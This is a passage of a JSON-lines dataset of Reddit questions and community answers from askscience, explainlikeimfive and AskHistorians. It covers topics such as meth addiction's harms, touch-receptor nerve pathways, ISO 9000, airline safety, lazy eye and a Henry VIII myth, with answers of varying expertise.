of the time looks like this;\n\nYou've been awake for several days, so you're exhausted. Stuff keeps moving at the edge of you're vision. You're not *seeing things,* you just...thought you did for a second. You aren't hungry, because of the shit, but you also haven't eaten in two days. So you try to eat something, except the skin in your mouth peels, or maybe you break a tooth (you have been smoking a bunch of lye, after all).  You know you need to sleep, but if you do (x) will happen. So, you need more shit. More shit's the ONLY thing that will make it better. And how far you're willing to go for it just keeps getting further and further away.", "Methamphetamine is a chemical that stimulates and alters a person's brain - it triggers a boost in dopamine which stimulates your body and makes you feel good.\nVery simply, it trigger the system that makes you feel good doing the things you enjoy - the satisfaction you get from a hug, have a cold beer at the end of a long day, or any of the other things that trigger that feeling of enjoyment.\n\nThe difference is that meth doors this on a huge scale - you don't just feel good, you feel so good that nothing else compares, and nothing else matters any more.\n\nThe really scary thing is all the side effects that come with meth use. The most obvious is the massively addictive nature - because the feeling is so much stronger than anything else, and the way it alters the chemistry of your brain, as soon as the meth starts wearing off you start feeling horrible, to the point that you crave more meth to counteract this feeling. Addicts then quickly get into a cycle of using where they care about little else other than acquiring more drugs, which means things like holding down a normal job become much harder, and a lot of people transition over to simple crimes like prostitution or theft to earn money for drugs.\n\nAlongside this you have other side effects - using the drug itself is hugely harmful to your body, smoking it causes huge damage to your mouth (the horrible teeth and gums associated with meth use), or the abscesses and damage to veins that occurs with injection of the drug (and all of the other risks that come around poorly controlled needle use), the addiction causes lingering psychological issues, and the stress it puts on someone's body is huge (along with the typical lack of care a person will have for themselves when dealing with addiction).\n\nAs a final nail in the coffin, nitty only is meth a pretty nasty chemical Inn it's own, but because it is illegal and uncontrolled, the supplies of it are not all nicely controlled and medical grade, but instead typically made in home laboratories, by people who don't really understand what they are doing, with bodged and poorly controlled ingredients and methods, and cut with who knows what chemicals and leftovers from poor manufacture. So who knows what other chemicals you dare putting into your body, and what damage they could be creating."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/dQVb6Cd-w8s"], [], []]}
{"q_id": "if4b9", "title": "Has the angle of the rising sun in relation to due \nEast altered at any point on the Earth in the past \nfew years?", "selftext": "More details here\n\n_URL_0_\n\n\nI know the surrounding assumptions are not your bag and you are skeptical of them but I was wondering if someone could confirm the empirical data and, hopefully provide a scientific hypothesis as to why this has occured (if it has).\n\nThanks in advance guys. :-)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/if4b9/has_the_angle_of_the_rising_sun_in_relation_to/", "answers": {"a_id": ["c2391tr", "c239923", "c239guf", "c239rpw", "c23a5ve", "c23a8se", "c23at2q"], "score": [7, 5, 5, 2, 8, 3, 5], "text": ["i too am curious to see what comes of this. the person in question claims that their methods are scientific, and if so this should be relatively easy to confirm or falsify.", "Not by anywhere near that much, but the earths axis does move a little in relation to the sun (imagine a spinning top after it has been spinning a bit, the axis it spins on \"wobbles\"). We aren't talking anything like a few degrees in the last \"few years\" however. It happens because the earth isn't a perfect sphere, it is flattened a little on the top and bulges out around the equator.\n\n\nedit: aha, was trying to remember the name of it (I really should know this considering I studied it last year or so..)  [precession](_URL_0_)\n\n\n\nAs for a reason why, I'm not sure how declination figures in books are measured, but are you sure you measured it in the same way (for example if they measure just as the top of the sun is poking out, and you measure once the bottom of the sun clears the horizon, that would produce an inaccuracy).\nAnother suggestion is possibly that the horizon you are measuring from isn't at sea level. I imagine the data in a book would be for sea level - >  sea level measurements, this could possibly account for it? I'm not an expert on this sort of stuff but those seem the 2 most likely suggestions to me.", "This is fucking oddly relevant to my observations.\n\nA month ago I noticed the sun was setting very very off from its usual position from my sun chairs which are always in the same position.\n\nI asked askscience to no avail, I hope we can find an explanation.", "oh god we're all gonna die!\n\nsrsly though, doesn't sunrise and sunset shift seasonally? we're moving from the summer solstice towards the fall equinox, the sun's path should be moving generally northward in the sky, until winter solstice, when it will move back southward.", "Magnetic North moves around over time.  Over the last decade or so it has been moving very rapidly, about 40 miles per year.  This will not affect position of the sunrise, but it will affect your measurement when taken with a magnetic compass.  [(Relevant link.](_URL_0_))", "This is actually a fascinating example of how different science is from human intuition. Humans are so easily fooled by their own senses, and confirmation bias is so strong that it can fool anybody. The internet has an interesting way of magnifying that effect.\n\nThe data will out. If there were something to this \"conspiracy\", the likes of NASA would have noticed. Hell, the vast network of amateur astronomers would have noticed, and the press would have a field day with it.\n\nWhich is more likely? One person's observations are incorrect/inaccurate, or there's a huge coverup underway to prevent the rest of us from knowing about it?\n", "You asked if anyone could confirm the observation. As it happens, [L'Observatoire de Paris](_URL_0_) makes regular measurements of the Earth's orientation. And over the past year the Earth's pole has drifted on the order of .1 arcsecond (1 arcsecond = 1/3600 of a degree) and the length of a day has changed on the order of 1 millisecond. These observations are confirmed by other institutions, such as the US Naval Observatory. If you don't trust these sources, then I feel like we also would have heard something two weeks ago when Stonehenge didn't line up on the solstice like it has for past 5,000 years or whatever. So I'm sorry, but I think someone must have made an error in observations somewhere along the line."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/conspiracy/comments/if04y/declination_of_our_sunrise_today/"], "answers_urls": [[], ["http://www.wwu.edu/depts/skywise/a101_precession.html"], [], [], ["http://www.popsci.com/technology/article/2011-01/shifting-magnetic-north-forces-tampa-airport-close-runways-repaint-heading-designations"], [], ["http://hpiers.obspm.fr/eop-pc/"]]}
{"q_id": "34l0w8", "title": "What kind of message does the touch receptor send to the brain and how are each and every touch receptors (I'm assuming there are millions of them \"addressed\" by the human brain), here by address I mean how does the human brain understand the signal is sent by which touch receptor?", "selftext": "As a computer engineering this is a fascinating question for me, in computer networks each nodes in it send message to other nodes/ central hub via protocols. Example of it is the IP protocol which is used in the internet, the message is encapsulated inside the fields of this protocol and each message is given its own address, so that the receiver understands the origination of the message, so how does the human brain understand this? Is there some kind of addressing the techniques at cellular level which let's the brain know exactly which touch receptor has the message come from?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/34l0w8/what_kind_of_message_does_the_touch_receptor_send/", "answers": {"a_id": ["cqvqpqb", "cqvxvfv"], "score": [18, 11], "text": ["The brain is connected to the body through dozens of nerve fibers, each of which is a bundle of many nerve cells (neurons). Neurons interconnect with other neurons, ultimately ending in receptors of one kind or another. See [diagram](_URL_1_).\n\nWhen a receptor detects a signal, it stimulates the neurons attached to it, which propagate the signal to the neurons they are connected to, etc, until the signal ultimately reaches the brain through one or more neurons. \n\nAt a high level, what happens is that different parts of the body map to different nerve fibers. You can see this represented graphically in a [dermatome](_URL_0_). At that level, you basically have route-based addressing; if a signal reaches your brain on, for example, left 8th cervical nerve fiber, you know that it came from somewhere on your right arm, on the side of the pinky finger (see image at wikipedia above).\n\nBelow that level, you still have route-based addressing, but the mapping isn't one-to-one. It's not one-to-one because you have multiple receptors transmitting on the same neuron, and multiple neurons transmitting to the same upstream neuron. (Basically, you have lossy compression.) The reason for this is that your receptors are basically high-resolution, but your need to interpret their signals is much lower resolution, so the signaling is hooked up to shed unnecessary detail before it even reaches your brain.\n\nYou can see this for yourself if you have someone prick you with one toothpick or two toothpicks close to each other. Try to see if you can tell the difference between one toothpick and two (point discrimination); on some parts of your body, you can tell the difference extremely well (for example, your fingertips). On others, you can't tell the difference at all (for example, your butt). Obviously, point discrimination in your fingers is a lot more useful than point discrimination in your butt, so touch sensation in your butt is much more lossy.", "I don't find other answers in this thread satisfying enough, so I'll do a rather longish step by step which parts of the nervous system sensory information goes through. I'll try to explain the scientific concepts as much on a layman level as possible. TLDR at the end, I don't think it's very useful without reading the post first though.\n\nThere are a lot of different receptors in the skin encoding for different qualities of touch. You have receptors for gauging pressure/lightness, longevity, area, tangentiality, vibration, extra receptors for hair follicles and so on, and in case if intense mechanical manipulation pain receptors for either dull or sharp pain. You also have receptors for temperature in your skin, and below the skin inside your muscles and tendons you have extra receptors gauging the current movement and the current state of contraction/length of every single muscle (proprioception). All of these qualities can be broadly categorized into 2 categories: finely detailed information is epicritic (e.g. fine touch, vibration, proprioception), broader information is called protopathic (e.g. broad touch, temperature, pain). Information is encoded by a pattern of electric potential bursts permeating singular nerve fibers called action potentials. The higher the frequency (not amplitude) of these bursts and the higher the amount of recruited sensors, the more intense the stimulation.\n\nEach receptor (which is mostly single cells that change their electrochemical state depending on certain input) is either adjacent to a single nerve fiber or is actually morphologically derived from a nerve fiber. The information of different nerve fibers (cellular level) are compiled into nerves (macroscopic level), and first passes the periphery nervous system, i.e. the nerves of your extremities, your torso (both through spinal nerves) and your face (through the cranial nerves). Each nerve can hold sensory \"afferent\" information (information going from the periphery to the spinal cord and brain) and motoric \"efferent\" information (information going from the brain and spinal cord to the periphery). Some nerves only carry sensory information or motoric information, but the majority is mixed. The information of a singular nerve fiber in the periphery nervous system does not interact with other nerve fibers, the information is discretely distributed and mapped throughout a crosssection of the nerve. Nerves diverge and converge throughout their entire route and pass around their fibers, but any individual fiber retains its specific information and its specific quality uninterrupted.\n\nThen, the nerves enter the central nervous system through the spinal cord (main body) or brain stem (face, head). In the main body (everything minus head and neck), all nerves run towards the spinal column (where the spinal cord lies) and [converge into one of about 60 spinal nerves](_URL_0_) (30 on each half of the body) that enter the spinal column through [little windows between neighboring vertebrae ](_URL_7_)and holes in the sacral bone and the tailbone. Each spinal nerve corresponds to one discrete area of the body called a [dermatome](_URL_2_), with every nerve fiber encoding for information that is a subset of this dermatome. After that, the spinal nerve splits its fibers into a strictly sensory portion and a strictly motoric portion, called nerve roots. [the motoric nerve roots (radix anterior) enter the spinal cord in the front (direction where your guts are, ventral), the sensory nerve roots (radix posterior) enter the spinal cord in the back (direction where your back is, dorsal)](_URL_1_).\n\n[For the following, keep this graph handy](_URL_3_). In the spinal cord, all nerve fibers are compiled into tracts and fascicles running through the entire length of the spinal cord that *still* retain a topological distribution with the information still intact. Keep note that we are still dealing with the exact same fibers from the peripheries that now run through the spinal cord. The difference now in the spinal cord though is that these fibers *do* interact with each other through small interconnected nerve fibers called interneurons. What mainly happens is that the fibers send inhibitory signals towards each other with the strength corresponding to the signal intensity of the individual main fiber, with the result that weak sensory information (like the very far borders of an area of the skin that is touched) is drowned out, increasing the general contrast and helping in how the brain can pinpoint the location of a certain stimulus later. Otherwise, the core information is still retained and mapped on a crosssection of the spinal cord.\n\n[Crosssection scheme for reference](_URL_6_). The tracts the individual fiber enters depends on its aforementioned quality: epicritic (fine touch, proprioception) or protopathic (broad touch, temperature, pain). Epicritic information is joined in the cuneate and gracile fasciculi in the back of the spinal cord, protopathic information enters the anterior and lateral spinothalamic tracts in the front and to the side. There are also other sensory tracts for other more specific causes like proprioception running to the cerebellum in the spinocerebellar tracts, which is important for muscle coordination based on current position; that's not exactly on topic though. \n\nAnyway, the sensory information runs from the point of entrance through the different tracts in direction of the brain. at some point, the nerve fiber finally transmits its information on a second nerve fiber. The information is transmitted 1:1 and still retains its topology in the following segments. for the protopathic fibers, this happens pretty much right after they enter the spinal cord and before they join the spinothalamic tract. The first epicritic fiber though runs through the spinal cord in its entire length in the gracile and cuneate fasciculi before transmitting its information on the second fiber in the medulla oblongata portion of the brain stem in the gracile and funeate nuclei. In the brain stem, the second epicritic fibers are compiled in the so called medial lemniscus, which runs towards the thalamus (the \"gate of consciousness\"). The second protopathic fibers run to the thalamus in the spinothalamic tract. Also, every different tract system crosses to the other side of the spinal cord or brain at different points, but once again the information is untouched. \n\nFor the head and neck, touch sensation, facial muscle proprioception, superficial pain and temperature sensation are transmitted through a cranial nerve called the [trigeminal nerve](_URL_4_). cranial nerves are nerves that similar to the spinal nerves enter the central nervous system through holes in bones, but the cranial nerves do so through holes in the skull and directly enter the brain stem, bypassing the spinal cord. Since there are 3 distinct branches to the trigeminal nerves, the head, from top to bottom, has 3 \"dermatomes\". The 2-neuron-system is similar to the spinal cord: we have first fibers that enter the brain stem, which transmit their information onto a second fiber that runs to the thalamus. For epicritic information, this happens in the principal trigeminal nucleus, and then runs in the trigeminal lemniscus very closely to the medial lemniscus. Protopathic information goes through the spinal trigeminal nucleus, the information once again projected to the thalamus.\n\nIn the thalamus, all of these aforementioned nerve fibers, still retaining their original, yet slightly modified information, transmit their information on a third fiber. At this station, the thalamus can modulate whether or not it actually wants to permit the transmission of these information, depending on the state of consciousness and wakefulness/alertness, hence the gate thing. The underlying mechanisms are quite a bit convoluted, that's for another day. Finally arriving at the \"big brain\", the third fibers now project their information onto the sensory cortex, specifically the postcentral gyrus. This marks the last station where information is mapped according to topology, a principle called somatotopy. Different fibers from different parts of the body enter the cortex on associated points, and depending on sensor density, different body parts have disproportional representation on the surface of the brain, which can be visualized in a [homunculus](_URL_5_) (as described in a different post here). Finally, the complex neuronal networks of the brain start using the information represented on the postcentral gyrus for several conscious and unconscious processes, for your specific question the evaluation of epicritic and protopathic touch signals on a conscious level.\n\n**TL;DR** receptor  >  periphery nerve, first neuron  >  spinal cord and brain stem, first/second neuron  >  thalamus, second/third neuron  >  brain cortex, third neuron; all information runs through discrete fibers until the very end, but still have interactions with each other on a basal level\n\nEDIT: added visualization"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Dermatome_%28anatomy%29", "http://nerve.wustl.edu/nd_injury.php"], ["http://legacy.owensboro.kctcs.edu/gcaplan/anat/notes/Image546.gif", "http://antranik.org/wp-content/uploads/2011/11/spinal-nerves-in-detail-showing-dorsal-root-ganglion-ramus-rami-ventral-root.jpg", "http://what-when-how.com/wp-content/uploads/2012/04/tmp1498_thumb4.jpg", "http://classroom.sdmesa.edu/eschmid/F10.13.L.150.jpg", "http://lh6.ggpht.com/_oj6TkG186pI/S0_jLifQ2NI/AAAAAAAAA90/WWFumK1zOyw/image%5B7%5D.png", "http://upload.wikimedia.org/wikipedia/commons/c/c4/1421_Sensory_Homunculus.jpg", "http://upload.wikimedia.org/wikipedia/commons/thumb/b/b2/Spinal_cord_tracts_-_English.svg/800px-Spinal_cord_tracts_-_English.svg.png", "http://www.massagetoday.com/content/images/intervertebral_foramen_35246_1_1_6996.gif"]]}
{"q_id": "vzc35", "title": "iso 9000/9001 certification", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/vzc35/eli5_iso_90009001_certification/", "answers": {"a_id": ["c58wruq", "c58y3sa", "c591a6i", "c591ba5"], "score": [22, 5, 2, 3], "text": ["The certification process is performed by an official Registrar. They (for a fee) will come into your company and perform an audit to provide reasonable assurance that the company's documentation and practices are compliant with ISO 900x.  This usually takes a few days, but for a large company with many sites it can take longer, and for a very small company it can be done in a day or two.   Preparation for such an audit usually takes months, and some of the Registrars will also work with companies (for a fee) to prepare them for audit. \n  \nIt usually doesn't make sense to even attempt certification unless your company has been following compliant practices for a minimum of 6 months, as they will want to see records showing that the company has been following the procedures over time.  Prior to attempting external certification, the company should conduct internal audits to show compliance. (A system of internal audits is an ISO900x requirement anyway.)\n  \nIf minor discrepancies are found, they will have to be remedied and then the Registrar may issue a conformance certificate. If major discrepancies are found, they may require that a follow-up audit be performed first (after remedy, of course). In an extreme case with many major discrepancies, they may not certify the company at all. The Registrars have a certain amount of discretion to decide what is major vs what is minor, and what proof they require to demonstrate that issues have been fixed.   \n  \nAfter certification is successful, there will be follow-up audits, usually after 6 months and then yearly.   But this can vary by Registrar and by the company's situation. \n   \n*My opinions*: The ISO900x specs and compliance system have some flaws, and the certification process is one of the biggest ones. The Registrars don't provide uniform standards, so an ISO900x certificate is not always a good indicator of whether or not a company has a strong quality system (although they do provide assurance that the company actually *has* a quality system of some sort). My biggest criticism is that in order to provide auditability, a lot of record keeping must be done. In addition, auditors usually have little understanding of the company's business, so their audits often focus on the wrong things. And the whole shebang is expensive.   \n   \nWith all its flaws, the system would probably be worth it if it was rigorous enough that a company with ISO900x certification never had to go through other customer audits.  This isn't necessarily the case.    \n  \nI think the biggest value comes to a company which simply doesn't have a good quality system and wants to raise their game. For a company with experienced people and good quality practices, it is of dubious value.   \n  \n**Source**: I've been professionally involved with ISO900x and its precursors for longer than I want to admit.   ", "We're a job shop working in implementing ISO9k, I like to think of it as a bunch of guides to make sure your company is documenting everything you make correctly. That way if something you make fails, there's a way for you to easily figure out what went wrong, why it went wrong, and how to make it so the problem never occurs again.\n\nOur company did all this before ISO9k, but this way we're doing it the way everyone else does it. It makes us look good, and some customers wouldn't even do business with us unless we followed these guidelines.\n\n", "It's a system of bureaucracy which allows a company to officially use the word \"quality\" without actually being any good. You can decide at what poor level you wish to perform and get someone else to come in and make sure you're performing to your low standard.\n\nSource: Worked at several ISO 9k accredited companies, some of which were good and some very bad.", "My first ELI5 response ever. From my experience the point of the ISO9000 certification is to ensure that the result your company produces is the same every time. For example in the department of the company where I work (sales) our ISO9000 standard ensures that the experience of the customer is always the same. This means consistent response times, consistent attention to each account, consistent quotation formats etc. In a factory for example the ISO9000 would ensure the every product produced is the same as every other product. In our delivery department it ensures that the delivery times, the documents produced and the experience of our customers is the same day after day. Back to my sales department, the ISO9000 certification makes sure that the processes that are used in my department are written down clearly and explained in detail so that everybody in our sales team can produce the same result every time. Our customer should not be able to tell a difference in the quality of the experience he gets between Salesperson A and Salesperson B.\n\nDuring the ISO9000 audit, which is once every 1-2 years, other people from outside the company will visit you and compare the processes that are written down with what you do on a day to day basis. They will also suggest things that can improve the result your company produces. Sometimes these can be only suggestions. Other times they are things that you must do if you want to keep your ISO9000 Certificate.\n\nAgain to summarise.. The ISO9000 certification ensures that the result your company produces is constistent every time under any circumstance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5g0i1h", "title": "if i buy only one bag of potato chips. is there a health difference between eating it all at once or spread out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5g0i1h/eli5_if_i_buy_only_one_bag_of_potato_chips_is/", "answers": {"a_id": ["daogwi3"], "score": [19], "text": ["There is a health difference, which I will preface by saying it is slightly controversial, or rather, not entirely understood, but definitely there is a difference between consuming a meal immediately, in bulk, or splitting it up. \n\nEating slowly and over time is a better way to feel \"satiated\" eating less, because it allows for constant, rather than singular, reinforcement from satiety hormones, or the hormones that signal to your body that it is \"full\" \n\nWith potato chips, since there's no nutritional value, this next part isn't super important, but spreading out consumption of nutrients will help give you body more time to process them, and ensure you're reaping more of the rewards from what you eat. \n\nIt is also better from a metabolic standpoint.  When you ingest a large meal, your digestive system does the equivalent of what happens to the lights in your house when the clothes dryer comes on.  Putting a giant good load into your stomach, and then intestines, creates a large and immediate need for the body to divert a great deal of energy to digesting the food you've eaten. \n\nBy contrast, eating many smaller meals won't ever create that singular, massive energy drain.  So you'll feel more normal and consistent throughout the day. \n\nLastly, ingesting a giant meal will produce a similarly large insulin response - your body will dump a huge supply of insuling into the blood to deal with excess sugar.  This produces a \"sleepy\" feeling.  In general, you want to avoid shocking yoru system with insuling, so smaller meals, spread out throughout the day, are preferrable to massive ones."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7rtdzb", "title": "Is there a way to measure sharpness - like a scale of sharpness? Thank you", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7rtdzb/is_there_a_way_to_measure_sharpness_like_a_scale/", "answers": {"a_id": ["dszs8wl", "dt0qu37"], "score": [50, 2], "text": ["[ISO 8442-5](_URL_0_) [[full text source](_URL_1_)] defines a standardized procedure for testing knives.\n\nIn short, an apparatus is designed with a set of cards made from a pulp containing quartz, in which you put the knife you want to test.  The apparatus performs a back-and-forth cutting motion, while the cards are forced into the knife with 50N of force.  The apparatus completes a set number of cutting motions of 40mm (with the number depending on the type of knife, as defined by the standard), and you then measure the depth of card cut through each cycle, as well as the overall depth of card you've sliced through.\n\nCutting performance is measured as the sum of the first three cycles of the test.  Edge retention is measured as the total depth of card cut through over the full test.  Both are measured in millimetres.", "Another way is to place the device (ie knife edge, needle) in an electron microscope and measure the radius of curvature at the tip/edge.\n\nFor something like a wave (ie light) or signal you would look at the 1/e attenuation distance.\n\nThese are more standard for something like scientific equipment or tools."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.iso.org/standard/30037.html", "https://www.scribd.com/document/363258034/BS-EN-ISO-8442-5-2004-2005"], []]}
{"q_id": "34g9i0", "title": "why is it good for your laptop to occasionally run the battery?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34g9i0/eli5_why_is_it_good_for_your_laptop_to/", "answers": {"a_id": ["cqucw0l"], "score": [3], "text": ["Well you see, your battery is like a paper bag full of fresh produce. If you take the top produce off, and replenish it, you'll be okay....for awhile. But after weeks and months of doing that without ever getting to the bottom produce, they eventually will get moldy and not very nutritious, and the bag itself becomes damaged and does a bad job at holding anymore new produce you add to it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1qb7gk", "title": "the safety record of the airline industry. how is it possible?", "selftext": "I work in healthcare and we often discuss our poor patient safety record and say we should \"be more like the airline industry\". Recently, I heard someone say there have been over 2 billion Americans fly on domestic commercial flights since the last passenger death. I find that mind-boggling. What are the day-to-day steps this very complex industry takes to ensure safety?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1qb7gk/eli5_the_safety_record_of_the_airline_industry/", "answers": {"a_id": ["cdb1d4q", "cdb1g4f", "cdb1shr"], "score": [3, 4, 11], "text": ["People generally don't fly when they've been shot 5 times for starters.  Really helps with the survival rate.  ", "Everyone in that industry has the ability to stop the process for any reason. That means if a line mechanic feels uncomfortable with the condition of a bolt, he can have the flight grounded or delayed. One malfunctioning seatbelt and a flight attendant can delay the flight. \n\nNow with that said, flying in the US is more of an uncomfortable hassle than it was 15 years ago. Smaller seats, less amenities and less convenience. ", "A couple of reasons:\n\n- Standard operating procedures. We do the same thing every day, and we always, always do it exactly the same way. That way, even if I'm flying with a colleague we only met for the first time half an hour ago, I still know exactly what he will do, and he knows exactly what I will do.\n\n- Reporting culture. We all make mistakes. Sometimes those mistakes lead to accidents, but often they don't. When you drive your car, if you make a mistake but it doesn't cause an accident, you tend to forget about it and keep driving. In aviation, we are encouraged to report every mistake we make. Then, we can analyse this data and find out the mistakes which happen most frequently, and the circumstances in which they happen. And we change change our standard operating procedures to make that mistake less likely.\n\n- No-blame culture. In your car, when a mistakes does lead to an accident, your first thought is to deny everything. Your insurance company tells you that you must not admit anything. If you are found to be at fault, you will have to pay an insurance excess, your insurance premium will go up, and you may even face a large fine or prison if you were found to be reckless or careless. In aviation, we have a \"no blame\" culture, where, unless you've deliberately done something to intentionally cause an accident, no one assigns the blame to anyone. Instead, accident investigators aim to find out the facts of what lead to the accident, and make recommendations to prevent similar accidents happening again.\n\n- Aviation is designed to be safe. We do things which carry an inherent risk - but there are well-recognised systems in place to identify and mitigate risk. Everything we do, we make a list of what could go wrong. Then we analyse a) the chances of this happening, and b) the severity of the consequences if it did happen. We multiply these two things together, and if we come up with a number that's too big, then we find a different way of doing things that reduces one or the other of these two things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1pe7lj", "title": "What were the differences in stone projectile point technology globally?", "selftext": "If I had a collection of projectile points from around the world, would you be able to tell where each one came from and what they were used for just by looking at them? What would the differences be stylistically between one found in North America Vs. Africa Vs. Europe\n\nEDIT: asked the same question in r/anthropology [here](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pe7lj/what_were_the_differences_in_stone_projectile/", "answers": {"a_id": ["cd1gvlw", "cd1m7qq"], "score": [3, 3], "text": ["You should definitely also ask this in /r/AskAnthropology. ", "It would be extremely difficult. Styles vary so much that virtually any style may be found in a different location at a different time. For example the large finely flaked bifaces of the Solutrean period (20-15 kya) in what is now western Europe could very easily be lost among Cascade Period (6-9 kya) bifaces in the Plateau Culture area of North America. They might also be confused with ethnohistoric period ceremonial blades in northwest California. \n\nThe only exception that I can think of are the fluted points of the Clovis and slightly later periods in North America. These, to my knowledge, do not appear elsewhere. Now that's my perspective as a student of North American prehistory. The Old World guys might have another view."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskAnthropology/comments/1peme2/what_were_the_differences_in_stone_projectile/"], "answers_urls": [[], []]}
{"q_id": "pv0sx", "title": "If I cross my eyes, do I risk the chance of getting a lazy eye?", "selftext": "EDIT: Yes, I suppose I am referring to strabismus, not amblyopia", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pv0sx/if_i_cross_my_eyes_do_i_risk_the_chance_of/", "answers": {"a_id": ["c3sgw78", "c3sh12o", "c3shf5i"], "score": [62, 7, 7], "text": ["if you're talking about strabismus i believe there is a possibility. while vergence is a natural visual reflex, strabismus can be the result of physical as well as neurological dysfunction. while it is highly unlikely that constantly engaging in vergence (crossing eyes) will result in cranial nerve damage, damage of the extraocular muscles such as the medial rectus muscle can result in \"lazy eye\". this can be corrected with surgery and should be as soon as possible to prevent cortical remapping.\nand just so you know, i am quite drunk at 2 am so i don't know how reliable this response may be but i am a physiology major.", "Edit; no.\n\nTheoretically, its possible.\nHere's why.\nLazy eye is caused by an imbalance in the strength of opposite muscles that hold your eye in place. (There's actually more to this I believe, but lets just assume that there is one muscle that pulls left, one that pulls right, one for top, one for pulling to bottom). \nNow, a healthy non-lazy eye will have muscles that depending on where you want to see will strengthen/relax. If your eye wants to see left, the left pulling muscle will pull harder than the one that pulls the right pulling muscle, etc. Now, muscles will get stronger the more you exercise them, and the muscles that pull the eyes are no exception.\n\nI have a lazy eye, where my inner muscle is stronger than my outer muscle. I went to a doctor and asked if there are any exercises that I can do, and he said 'unless you can look left with your left eye and right with your right eye at the same time, no'. He also said that if my outer muscle was stronger than my inner one then I could do the exercises (by crossing my eyes).\n\n**To simply answer your question though... unless you are crossing your eyes extensively and daily, probably not.**\n\nI actually used to play computer games like... 12-15 hrs a day. Although doctors say playing computer games cant cause this... I did play games a LOT... and even though you look left and right on your screen, its still not enough to exercise the outer muscle (unless you play on a huge screen from few feet away). I doubt my doctors knew how much I played daily, and I'm sure there were no studies done with people who stared at the center of the monitor 10+ hrs a day daily for years. This is still just a theory I thought of, but for some reason I can't think of this as a just a coincidence.\n\nEdit: Spelling mistake // Changed last paragraph a bit", "Just to clarify: \"Lazy eye\" refers specifically to amblyopia, which is a developmental disorder of vision and, while related to strabismus (which some of you seem to mean), is NOT the same thing. Children who have strabismus as they grow up can develop amblyopia because the double vision resulting from strabismus causes the developing vision tracts to \"ignore\" visual input from one eye, causing decreased vision in that one eye. This is why childhood strabismus must be corrected quickly before amblyopia develops, and this is why before the surgery is done, the child is treated by covering the \"normal\" eye with an eyepatch, in order to let the visual tracts in the \"abnormal\" eye develop. While strabismus can be corrected through surgical intervention on the extraocular muscle, amblyopia has nothing to do with the extraocular muscles and can develop without the presence of strabismus; for example, if a kid just went around closing one of his eyes and only using one eye for most of his life, he would also develop amblyopia. It is, essentially, a problem with the brain, not the eye itself. \"Lazy eye\" is used by laymen to describe strabismus, but it is, in medical and scientific terms, incorrect.\n\ntl;dr: Strabismus != \"lazy eye\"; amblyopia == \"lazy eye\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "qvttc", "title": "Human vision only focuses on a small area in the field clearly and the rest is blurry. Are there any animals that can focus on everything at once?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qvttc/human_vision_only_focuses_on_a_small_area_in_the/", "answers": {"a_id": ["c40uudi", "c40vleq", "c40vsfy", "c40w8a0", "c40wu89"], "score": [4, 6, 39, 2, 2], "text": ["I hope you guys know what I am asking here. It's a little abstract, I realise.", "Or are there any bugs or insects that have many eyes that can focus on everything at once?", "The [cuttlefish eye](_URL_1_) is considered one of the most developed in the animal kingdom*, and it has multiple [fovea](_URL_0_) as compared to our single one.\n\nIn general, though, the answer is no, for the reason that neural processing power is metabolically expensive, and having only as much acuity as you need has been strongly selected for across the animal kingdom.  \n\n\n(* it's not the top one, though.  That belongs to the [mantis shrimp](_URL_2_).  Its visual system's capabilities are incredible.)", "That's kind of a tough question, you can never really focus on everything (I guess), because of [this stuff](_URL_0_).\n\nA chameleon is able to move it's eyes seperately, so he/she can track two things at once, but I don't think they focus on everything at once.", "The density of our optical sensors is not constant on the surface of the retina. The center of our field of vision is more clear because the density of the optical sensors is much higher in the center. It might vary in some animals. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Fovea_centralis", "http://en.wikipedia.org/wiki/Cuttlefish#Eyes", "http://en.wikipedia.org/wiki/Mantis_shrimp#Eyes"], ["http://en.wikipedia.org/wiki/Focal_length"], []]}
{"q_id": "6y1yey", "title": "Was Henry VIII bricked into his bedroom at night?", "selftext": "I just heard on Horrible Histories that towards the end of Henry VIII's life, he would be bricked into his bedroom every night then broken out the following morning. I've never heard this before and it sounds really implausible...", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6y1yey/was_henry_viii_bricked_into_his_bedroom_at_night/", "answers": {"a_id": ["dml5hh6"], "score": [9], "text": ["There is certainly no truth to the story, which is not mentioned by any of Henry's major biographers. Furthermore, even had such an action been suggested or required, for some unfathomable reason, the actual process would have been impracticable in the sixteenth century, well before the introduction of quick-drying mortar and cement.\n\nThe story has become \"live\" again in the last day or two, presumably owing to the transmission [yesterday afternoon](_URL_6_) of an episode from series 7 of the show entitled [\"Ruthless Rulers\"](_URL_7_), the programme notes for which read:\n\n > Get ready for some serious bad behaviour, as Horrible Histories brings you the most ruthless rulers of all time. Henry VIII is so demanding he has a brick wall built at his bedroom door every night, those vicious Vikings find that sorry seems to be the hardest word, hold your nose in Versailles because Louis XIV hasn't got any loos, and rock out with the Warlords from Hell - take it away 